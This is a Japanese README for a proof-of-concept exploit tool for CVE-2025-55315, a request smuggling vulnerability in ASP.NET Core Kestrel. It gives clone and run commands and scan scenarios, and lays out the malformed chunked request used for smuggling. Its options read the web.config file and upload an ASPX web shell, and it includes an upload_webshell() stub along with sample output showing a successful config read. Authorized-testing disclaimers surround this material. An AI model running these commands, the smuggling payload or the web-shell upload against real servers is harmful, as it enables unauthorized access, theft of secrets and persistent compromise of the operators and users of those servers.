
CVE-2025-55315 PoC エクスプロイト
ASP.NET Core Kestrel 向け HTTP リクエストスマグリング攻撃ツール
このツールは許可されたセキュリティテスト専用です!
CVE-2025-55315 (ASP.NET Core Kestrel HTTP リクエストスマグリング脆弱性) のためのプロフェッショナルなペネトレーションテストツールです。このツールは、包括的な悪用機能を備えた単一ターゲット分析用に設計されています。
ASP.NET Core Kestrel Web サーバー (CVSS 9.9/10) におけるクリティカルな HTTP リクエストスマグリング脆弱性であり、攻撃者が以下を実行可能です:
影響を受けるバージョン:
# Python 3.7 以上
python3 --version
# 外部依存関係なし - 標準ライブラリのみ使用
# ツールをクローンまたはダウンロード
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# 実行可能にする
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
これにより:
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
シナリオ: 本番サーバーが脆弱かどうかを確認
python3 cve_2025_55315_PoC.py -t api.mycompany.com
予想時間: 30〜60 秒
シナリオ: 詳細出力付きの包括的なエンドポイントスキャン
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
予想時間: 2〜5 分
シナリオ: 特定のクリティカルなエンドポイントをテスト
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
シナリオ: 内部 HTTP サーバーをテスト
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
必須引数:
-t, --target ターゲットのホスト名または URL (例: target.com)
オプション引数:
-p, --port ポート番号 (デフォルト: SSL の場合は 443、非 SSL の場合は 80)
-e, --endpoint テストする特定のエンドポイント (複数回使用可能)
--no-ssl SSL/HTTPS を無効にする (HTTP を使用)
--read-config web.config ファイルの読み取りを試みる
--upload-shell Web シェルのアップロードを試みる (確認が必要)
-o, --output レポートをファイルに保存
-v, --verbose 詳細出力を有効にする
--timeout ソケットタイムアウト (秒) (デフォルト: 10)
-h, --help ヘルプメッセージを表示
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
解釈:
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
解釈:
このツールを実行する前に、以下を確認してください:
このツールは、不正なチャンク転送エンコーディングを使用して CVE-2025-55315 を悪用します:
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← 脆弱性: \r\n の代わりに単独の \n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← これが別のリクエストになる
Host: target.com
なぜ機能するのか:
\n を行終端として認識 → 単一のリクエストとして処理\n を無視 → スマグリングされた GET を別のリクエストとして扱う[ERROR] Connection failed: [Errno 111] Connection refused
解決策:
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
解決策: ツールはすでに証明書検証を無効にしています。問題が解決しない場合:
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
解決策:
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
説明:
これは正常です - すべての脆弱なシステムがファイルアップロードを許可するわけではありません。
Microsoft セキュリティアドバイザリ: https://github.com/dotnet/aspnetcore/issues/64033
NVD データベース: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
Praetorian 研究 ($10k バグバウンティ): https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
Andrew Lock の技術分析: https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
PortSwigger 研究: https://portswigger.net/web-security/request-smuggling
OWASP: https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
スクリプト内の COMMON_ENDPOINTS を編集:
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# ここにエンドポイントを追加
]
upload_webshell() メソッドを修正:
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- ここにカスタム ASPX Web シェル -->
'''
バグを見つけた場合や提案がある場合:
-v-o debug.txtこのツールは「現状のまま」、教育目的および許可された
セキュリティテスト目的でのみ提供されます。
著作者は:
❌ 違法行為を推奨しません
❌ 誤用について責任を負いません
❌ いかなる損害についても責任を負いません
❌ 法的アドバイスを提供しません
このツールを使用することにより、お客様は以下に同意します:
✅ 許可されたシステムでのみ使用すること
✅ 完全な法的責任を受け入れること
✅ すべての該当する法律を遵守すること
✅ 倫理的なハッキングの原則に従うこと
無断使用は固く禁止されており、違法です!
このツールは以下向けに作成されました:
対象外:
教育および許可されたセキュリティテスト専用
このツールは教育目的および許可されたセキュリティテストのために提供されています。商用利用、再配布、または悪意のある目的での使用は固く禁止されています。
╔═════════════════════════════════════════════════════════════╗
║ ║
║ このツールを責任を持って合法的に使用してください! ║
║ ║
║ コンピュータシステムへの不正アクセスは犯罪です。 ║
║ テストを実行する前に必ず書面による許可を取得してください。 ║
║ 責任ある開示の実践に従ってください。 ║
║ ║
║ 楽しい (合法的な) ハッキングを! ║
║ ║
╚═════════════════════════════════════════════════════════════╝
| サーバー応答 | 解釈 | ステータス |
|---|
400 Bad Request | Kestrel が不正なチャンクを拒否 | ✅ セキュア (パッチ適用済み) |
複数の HTTP/1.1 | 2 つの個別の応答を受信 | ❌ 脆弱 |
500 または 502 | 内部サーバーエラー | ⚠️ 脆弱の可能性あり |
通常の 200 OK | リクエストが受け入れられました | ⚠️ 判断不可 |